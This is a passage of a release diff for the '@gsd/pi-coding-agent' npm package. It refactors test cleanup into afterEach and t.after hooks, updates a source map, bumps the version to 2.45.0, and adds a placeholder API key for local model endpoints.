  383. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
  384. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
  385. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
  386. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
  387. package/src/resources/extensions/gsd/tests/worktree-submodule-safety.test.ts +65 -0
  388. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
  389. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
  390. package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
  391. package/src/resources/extensions/gsd/tools/plan-slice.ts +2 -0
  392. package/src/resources/extensions/gsd/tools/plan-task.ts +2 -0
  393. package/src/resources/extensions/gsd/tools/replan-slice.ts +3 -0
  394. package/src/resources/extensions/gsd/tools/validate-milestone.ts +127 -0
  395. package/src/resources/extensions/gsd/worktree-manager.ts +43 -2
  396. package/src/resources/extensions/gsd/worktree-resolver.ts +7 -0
  397. package/src/resources/extensions/mcp-client/index.ts +20 -0
  398. package/dist/web/standalone/.next/static/chunks/4024.0de81b543b28b9fe.js +0 -9
  399. package/dist/web/standalone/.next/static/chunks/webpack-9014b5adb127a98a.js +0 -1
  400. package/dist/web/standalone/.next/static/css/8a727f372cf53002.css +0 -1
  401. /package/dist/web/standalone/.next/static/{mgkxN0mGP6gSUmGPEzbk_ → wUzEX1U3CmFcMry2SUDJn}/_buildManifest.js +0 -0
  402. /package/dist/web/standalone/.next/static/{mgkxN0mGP6gSUmGPEzbk_ → wUzEX1U3CmFcMry2SUDJn}/_ssgManifest.js +0 -0
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync, readFileSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -11,57 +11,53 @@ function wait(ms) {
11
11
  return new Promise((resolve) => setTimeout(resolve, ms));
12
12
  }
13
13
  describe("MemoryStorage debounced persistence", () => {
14
- it("multiple rapid mutations only trigger one persist write", async () => {
15
- const dir = makeTmpDir();
16
- const dbPath = join(dir, "test.db");
17
- try {
18
- const storage = await MemoryStorage.create(dbPath);
19
- const initialStat = readFileSync(dbPath);
20
- const initialMtime = initialStat.length;
21
- storage.upsertThreads([
22
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
23
- ]);
24
- storage.upsertThreads([
25
- { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
26
- ]);
27
- storage.upsertThreads([
28
- { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
29
- ]);
30
- const afterMutationsBuf = readFileSync(dbPath);
31
- assert.deepEqual(afterMutationsBuf, initialStat, "File should not have been written yet (debounce window has not elapsed)");
32
- await wait(700);
33
- const afterDebounceBuf = readFileSync(dbPath);
34
- assert.notDeepEqual(afterDebounceBuf, initialStat, "File should have been written after debounce window elapsed");
35
- const stats = storage.getStats();
36
- assert.equal(stats.totalThreads, 3);
37
- storage.close();
38
- }
39
- finally {
14
+ let dir;
15
+ afterEach(() => {
16
+ if (dir) {
40
17
  rmSync(dir, { recursive: true, force: true });
41
18
  }
42
19
  });
20
+ it("multiple rapid mutations only trigger one persist write", async () => {
21
+ dir = makeTmpDir();
22
+ const dbPath = join(dir, "test.db");
23
+ const storage = await MemoryStorage.create(dbPath);
24
+ const initialStat = readFileSync(dbPath);
25
+ const initialMtime = initialStat.length;
26
+ storage.upsertThreads([
27
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
28
+ ]);
29
+ storage.upsertThreads([
30
+ { threadId: "t2", filePath: "/b.txt", fileSize: 200, fileMtime: 2000, cwd: "/proj" },
31
+ ]);
32
+ storage.upsertThreads([
33
+ { threadId: "t3", filePath: "/c.txt", fileSize: 300, fileMtime: 3000, cwd: "/proj" },
34
+ ]);
35
+ const afterMutationsBuf = readFileSync(dbPath);
36
+ assert.deepEqual(afterMutationsBuf, initialStat, "File should not have been written yet (debounce window has not elapsed)");
37
+ await wait(700);
38
+ const afterDebounceBuf = readFileSync(dbPath);
39
+ assert.notDeepEqual(afterDebounceBuf, initialStat, "File should have been written after debounce window elapsed");
40
+ const stats = storage.getStats();
41
+ assert.equal(stats.totalThreads, 3);
42
+ storage.close();
43
+ });
43
44
  it("close() flushes pending changes immediately without waiting for debounce", async () => {
44
- const dir = makeTmpDir();
45
+ dir = makeTmpDir();
45
46
  const dbPath = join(dir, "test.db");
46
- try {
47
- const storage = await MemoryStorage.create(dbPath);
48
- const initialBuf = readFileSync(dbPath);
49
- storage.upsertThreads([
50
- { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
51
- ]);
52
- const beforeCloseBuf = readFileSync(dbPath);
53
- assert.deepEqual(beforeCloseBuf, initialBuf, "File should not have been written yet (debounce window has not elapsed)");
54
- storage.close();
55
- const afterCloseBuf = readFileSync(dbPath);
56
- assert.notDeepEqual(afterCloseBuf, initialBuf, "File should have been written immediately on close()");
57
- const reopened = await MemoryStorage.create(dbPath);
58
- const stats = reopened.getStats();
59
- assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
60
- reopened.close();
61
- }
62
- finally {
63
- rmSync(dir, { recursive: true, force: true });
64
- }
47
+ const storage = await MemoryStorage.create(dbPath);
48
+ const initialBuf = readFileSync(dbPath);
49
+ storage.upsertThreads([
50
+ { threadId: "t1", filePath: "/a.txt", fileSize: 100, fileMtime: 1000, cwd: "/proj" },
51
+ ]);
52
+ const beforeCloseBuf = readFileSync(dbPath);
53
+ assert.deepEqual(beforeCloseBuf, initialBuf, "File should not have been written yet (debounce window has not elapsed)");
54
+ storage.close();
55
+ const afterCloseBuf = readFileSync(dbPath);
56
+ assert.notDeepEqual(afterCloseBuf, initialBuf, "File should have been written immediately on close()");
57
+ const reopened = await MemoryStorage.create(dbPath);
58
+ const stats = reopened.getStats();
59
+ assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
60
+ reopened.close();
65
61
  });
66
62
  });
67
63
  //# sourceMappingURL=storage.test.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"storage.test.js","sourceRoot":"","sources":["../../../../src/resources/extensions/memory/storage.test.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAQ,MAAM,WAAW,CAAC;AAC/C,OAAO,EAAE,WAAW,EAAE,MAAM,EAAE,YAAY,EAAc,MAAM,SAAS,CAAC;AACxE,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAEjC,OAAO,EAAE,aAAa,EAAE,MAAM,cAAc,CAAC;AAE7C,SAAS,UAAU;IAClB,OAAO,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,0BAA0B,CAAC,CAAC,CAAC;AAChE,CAAC;AAED,SAAS,IAAI,CAAC,EAAU;IACvB,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAC1D,CAAC;AAED,QAAQ,CAAC,qCAAqC,EAAE,GAAG,EAAE;IACpD,EAAE,CAAC,yDAAyD,EAAE,KAAK,IAAI,EAAE;QACxE,MAAM,GAAG,GAAG,UAAU,EAAE,CAAC;QACzB,MAAM,MAAM,GAAG,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;QACpC,IAAI,CAAC;YACJ,MAAM,OAAO,GAAG,MAAM,aAAa,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YAEnD,MAAM,WAAW,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YACzC,MAAM,YAAY,GAAG,WAAW,CAAC,MAAM,CAAC;YAExC,OAAO,CAAC,aAAa,CAAC;gBACrB,EAAE,QAAQ,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,GAAG,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,EAAE,OAAO,EAAE;aACpF,CAAC,CAAC;YACH,OAAO,CAAC,aAAa,CAAC;gBACrB,EAAE,QAAQ,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,GAAG,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,EAAE,OAAO,EAAE;aACpF,CAAC,CAAC;YACH,OAAO,CAAC,aAAa,CAAC;gBACrB,EAAE,QAAQ,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,GAAG,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,EAAE,OAAO,EAAE;aACpF,CAAC,CAAC;YAEH,MAAM,iBAAiB,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YAC/C,MAAM,CAAC,SAAS,CACf,iBAAiB,EACjB,WAAW,EACX,yEAAyE,CACzE,CAAC;YAEF,MAAM,IAAI,CAAC,GAAG,CAAC,CAAC;YAEhB,MAAM,gBAAgB,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YAC9C,MAAM,CAAC,YAAY,CAClB,gBAAgB,EAChB,WAAW,EACX,6DAA6D,CAC7D,CAAC;YAEF,MAAM,KAAK,GAAG,OAAO,CAAC,QAAQ,EAAE,CAAC;YACjC,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,YAAY,EAAE,CAAC,CAAC,CAAC;YAEpC,OAAO,CAAC,KAAK,EAAE,CAAC;QACjB,CAAC;gBAAS,CAAC;YACV,MAAM,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;QAC/C,CAAC;IACF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,0EAA0E,EAAE,KAAK,IAAI,EAAE;QACzF,MAAM,GAAG,GAAG,UAAU,EAAE,CAAC;QACzB,MAAM,MAAM,GAAG,IAAI,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC;QACpC,IAAI,CAAC;YACJ,MAAM,OAAO,GAAG,MAAM,aAAa,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YAEnD,MAAM,UAAU,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YAExC,OAAO,CAAC,aAAa,CAAC;gBACrB,EAAE,QAAQ,EAAE,IAAI,EAAE,QAAQ,EAAE,QAAQ,EAAE,QAAQ,EAAE,GAAG,EAAE,SAAS,EAAE,IAAI,EAAE,GAAG,EAAE,OAAO,EAAE;aACpF,CAAC,CAAC;YAEH,MAAM,cAAc,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YAC5C,MAAM,CAAC,SAAS,CACf,cAAc,EACd,UAAU,EACV,yEAAyE,CACzE,CAAC;YAEF,OAAO,CAAC,KAAK,EAAE,CAAC;YAEhB,MAAM,aAAa,GAAG,YAAY,CAAC,MAAM,CAAC,CAAC;YAC3C,MAAM,CAAC,YAAY,CAClB,aAAa,EACb,UAAU,EACV,sDAAsD,CACtD,CAAC;YAEF,MAAM,QAAQ,GAAG,MAAM,aAAa,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;YACpD,MAAM,KAAK,GAAG,QAAQ,CAAC,QAAQ,EAAE,CAAC;YAClC,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,YAAY,EAAE,CAAC,EAAE,mDAAmD,CAAC,CAAC;YACzF,QAAQ,CAAC,KAAK,EAAE,CAAC;QAClB,CAAC;gBAAS,CAAC;YACV,MAAM,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;QAC/C,CAAC;IACF,CAAC,CAAC,CAAC;AACJ,CAAC,CAAC,CAAC","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, mock } from \"node:test\";\nimport { mkdtempSync, rmSync, readFileSync, existsSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\n\nimport { MemoryStorage } from \"./storage.js\";\n\nfunction makeTmpDir(): string {\n\treturn mkdtempSync(join(tmpdir(), \"gsd-memory-storage-test-\"));\n}\n\nfunction wait(ms: number): Promise<void> {\n\treturn new Promise((resolve) => setTimeout(resolve, ms));\n}\n\ndescribe(\"MemoryStorage debounced persistence\", () => {\n\tit(\"multiple rapid mutations only trigger one persist write\", async () => {\n\t\tconst dir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\ttry {\n\t\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\t\tconst initialStat = readFileSync(dbPath);\n\t\t\tconst initialMtime = initialStat.length;\n\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t\t]);\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t2\", filePath: \"/b.txt\", fileSize: 200, fileMtime: 2000, cwd: \"/proj\" },\n\t\t\t]);\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t3\", filePath: \"/c.txt\", fileSize: 300, fileMtime: 3000, cwd: \"/proj\" },\n\t\t\t]);\n\n\t\t\tconst afterMutationsBuf = readFileSync(dbPath);\n\t\t\tassert.deepEqual(\n\t\t\t\tafterMutationsBuf,\n\t\t\t\tinitialStat,\n\t\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t\t);\n\n\t\t\tawait wait(700);\n\n\t\t\tconst afterDebounceBuf = readFileSync(dbPath);\n\t\t\tassert.notDeepEqual(\n\t\t\t\tafterDebounceBuf,\n\t\t\t\tinitialStat,\n\t\t\t\t\"File should have been written after debounce window elapsed\",\n\t\t\t);\n\n\t\t\tconst stats = storage.getStats();\n\t\t\tassert.equal(stats.totalThreads, 3);\n\n\t\t\tstorage.close();\n\t\t} finally {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"close() flushes pending changes immediately without waiting for debounce\", async () => {\n\t\tconst dir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\ttry {\n\t\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\t\tconst initialBuf = readFileSync(dbPath);\n\n\t\t\tstorage.upsertThreads([\n\t\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t\t]);\n\n\t\t\tconst beforeCloseBuf = readFileSync(dbPath);\n\t\t\tassert.deepEqual(\n\t\t\t\tbeforeCloseBuf,\n\t\t\t\tinitialBuf,\n\t\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t\t);\n\n\t\t\tstorage.close();\n\n\t\t\tconst afterCloseBuf = readFileSync(dbPath);\n\t\t\tassert.notDeepEqual(\n\t\t\t\tafterCloseBuf,\n\t\t\t\tinitialBuf,\n\t\t\t\t\"File should have been written immediately on close()\",\n\t\t\t);\n\n\t\t\tconst reopened = await MemoryStorage.create(dbPath);\n\t\t\tconst stats = reopened.getStats();\n\t\t\tassert.equal(stats.totalThreads, 1, \"Data should be persisted and readable after close\");\n\t\t\treopened.close();\n\t\t} finally {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n});\n"]}
1
+ {"version":3,"file":"storage.test.js","sourceRoot":"","sources":["../../../../src/resources/extensions/memory/storage.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, afterEach } from \"node:test\";\nimport { mkdtempSync, rmSync, readFileSync, existsSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\n\nimport { MemoryStorage } from \"./storage.js\";\n\nfunction makeTmpDir(): string {\n\treturn mkdtempSync(join(tmpdir(), \"gsd-memory-storage-test-\"));\n}\n\nfunction wait(ms: number): Promise<void> {\n\treturn new Promise((resolve) => setTimeout(resolve, ms));\n}\n\ndescribe(\"MemoryStorage debounced persistence\", () => {\n\tlet dir: string;\n\n\tafterEach(() => {\n\t\tif (dir) {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"multiple rapid mutations only trigger one persist write\", async () => {\n\t\tdir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\tconst initialStat = readFileSync(dbPath);\n\t\tconst initialMtime = initialStat.length;\n\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t]);\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t2\", filePath: \"/b.txt\", fileSize: 200, fileMtime: 2000, cwd: \"/proj\" },\n\t\t]);\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t3\", filePath: \"/c.txt\", fileSize: 300, fileMtime: 3000, cwd: \"/proj\" },\n\t\t]);\n\n\t\tconst afterMutationsBuf = readFileSync(dbPath);\n\t\tassert.deepEqual(\n\t\t\tafterMutationsBuf,\n\t\t\tinitialStat,\n\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t);\n\n\t\tawait wait(700);\n\n\t\tconst afterDebounceBuf = readFileSync(dbPath);\n\t\tassert.notDeepEqual(\n\t\t\tafterDebounceBuf,\n\t\t\tinitialStat,\n\t\t\t\"File should have been written after debounce window elapsed\",\n\t\t);\n\n\t\tconst stats = storage.getStats();\n\t\tassert.equal(stats.totalThreads, 3);\n\n\t\tstorage.close();\n\t});\n\n\tit(\"close() flushes pending changes immediately without waiting for debounce\", async () => {\n\t\tdir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\tconst initialBuf = readFileSync(dbPath);\n\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t]);\n\n\t\tconst beforeCloseBuf = readFileSync(dbPath);\n\t\tassert.deepEqual(\n\t\t\tbeforeCloseBuf,\n\t\t\tinitialBuf,\n\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t);\n\n\t\tstorage.close();\n\n\t\tconst afterCloseBuf = readFileSync(dbPath);\n\t\tassert.notDeepEqual(\n\t\t\tafterCloseBuf,\n\t\t\tinitialBuf,\n\t\t\t\"File should have been written immediately on close()\",\n\t\t);\n\n\t\tconst reopened = await MemoryStorage.create(dbPath);\n\t\tconst stats = reopened.getStats();\n\t\tassert.equal(stats.totalThreads, 1, \"Data should be persisted and readable after close\");\n\t\treopened.close();\n\t});\n});\n"]}
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gsd/pi-coding-agent",
3
- "version": "2.44.0",
3
+ "version": "2.45.0",
4
4
  "description": "Coding agent CLI (vendored from pi-mono)",
5
5
  "type": "module",
6
6
  "piConfig": {
@@ -287,7 +287,7 @@ describe("AuthStorage — oauth credential for non-OAuth provider (#2083)", () =
287
287
  assert.equal(key, undefined);
288
288
  });
289
289
 
290
- it("falls through to env var when openrouter has type:oauth credential", async () => {
290
+ it("falls through to env var when openrouter has type:oauth credential", async (t) => {
291
291
  const storage = inMemory({
292
292
  openrouter: {
293
293
  type: "oauth",
@@ -299,17 +299,17 @@ describe("AuthStorage — oauth credential for non-OAuth provider (#2083)", () =
299
299
 
300
300
  // Simulate OPENROUTER_API_KEY being set via env
301
301
  const origEnv = process.env.OPENROUTER_API_KEY;
302
- try {
303
- process.env.OPENROUTER_API_KEY = "sk-or-v1-env-key";
304
- const key = await storage.getApiKey("openrouter");
305
- assert.equal(key, "sk-or-v1-env-key");
306
- } finally {
302
+ t.after(() => {
307
303
  if (origEnv === undefined) {
308
304
  delete process.env.OPENROUTER_API_KEY;
309
305
  } else {
310
306
  process.env.OPENROUTER_API_KEY = origEnv;
311
307
  }
312
- }
308
+ });
309
+
310
+ process.env.OPENROUTER_API_KEY = "sk-or-v1-env-key";
311
+ const key = await storage.getApiKey("openrouter");
312
+ assert.equal(key, "sk-or-v1-env-key");
313
313
  });
314
314
 
315
315
  it("falls through to fallback resolver when openrouter has type:oauth credential", async () => {
@@ -744,7 +744,21 @@ export class AuthStorage {
744
744
  * @param providerId - The provider to get an API key for
745
745
  * @param sessionId - Optional session ID for sticky credential selection
746
746
  */
747
- async getApiKey(providerId: string, sessionId?: string): Promise<string | undefined> {
747
+ async getApiKey(providerId: string, sessionId?: string, options?: { baseUrl?: string }): Promise<string | undefined> {
748
+ // If the model has a local baseUrl, return a dummy key to avoid auth blocking
749
+ if (options?.baseUrl) {
750
+ try {
751
+ const hostname = new URL(options.baseUrl).hostname;
752
+ if (hostname === "localhost" || hostname === "127.0.0.1" || hostname === "0.0.0.0" || hostname === "::1") {
753
+ return "local-no-key-needed";
754
+ }
755
+ } catch {
756
+ if (options.baseUrl.startsWith("unix:")) {
757
+ return "local-no-key-needed";
758
+ }
759
+ }
760
+ }
761
+
748
762
  // Runtime override takes highest priority
749
763
  const runtimeKey = this.runtimeOverrides.get(providerId);
750
764
  if (runtimeKey) {
@@ -48,37 +48,37 @@ function makeThrowingExtension(eventType: string, error: Error): Extension {
48
48
  }
49
49
 
50
50
  describe("ExtensionRunner.emitToolCall", () => {
51
- it("catches throwing extension handler and routes to emitError", async () => {
51
+ it("catches throwing extension handler and routes to emitError", async (t) => {
52
52
  const dir = mkdtempSync(join(tmpdir(), "runner-test-"));
53
- try {
54
- const sessionManager = SessionManager.create(dir, dir);
55
- const authStorage = AuthStorage.create();
56
- const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
53
+ t.after(() => {
54
+ rmSync(dir, { recursive: true, force: true });
55
+ });
57
56
 
58
- const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
59
- const runtime = makeMinimalRuntime();
60
- const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
57
+ const sessionManager = SessionManager.create(dir, dir);
58
+ const authStorage = AuthStorage.create();
59
+ const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
61
60
 
62
- const errors: any[] = [];
63
- runner.onError((err) => errors.push(err));
61
+ const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
62
+ const runtime = makeMinimalRuntime();
63
+ const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
64
64
 
65
- const event: ToolCallEvent = {
66
- type: "tool_call",
67
- toolCallId: "test-123",
68
- toolName: "test_tool",
69
- input: {},
70
- } as ToolCallEvent;
65
+ const errors: any[] = [];
66
+ runner.onError((err) => errors.push(err));
71
67
 
72
- const result = await runner.emitToolCall(event);
68
+ const event: ToolCallEvent = {
69
+ type: "tool_call",
70
+ toolCallId: "test-123",
71
+ toolName: "test_tool",
72
+ input: {},
73
+ } as ToolCallEvent;
73
74
 
74
- // Should not throw — error is caught and routed to emitError
75
- assert.equal(result, undefined);
76
- assert.equal(errors.length, 1);
77
- assert.equal(errors[0].error, "handler crashed");
78
- assert.equal(errors[0].event, "tool_call");
79
- assert.equal(errors[0].extensionPath, "/test/throwing-ext");
80
- } finally {
81
- rmSync(dir, { recursive: true, force: true });
82
- }
75
+ const result = await runner.emitToolCall(event);
76
+
77
+ // Should not throw — error is caught and routed to emitError
78
+ assert.equal(result, undefined);
79
+ assert.equal(errors.length, 1);
80
+ assert.equal(errors[0].error, "handler crashed");
81
+ assert.equal(errors[0].event, "tool_call");
82
+ assert.equal(errors[0].extensionPath, "/test/throwing-ext");
83
83
  });
84
84
  });
@@ -1,66 +1,54 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, readFileSync, rmSync, existsSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
6
6
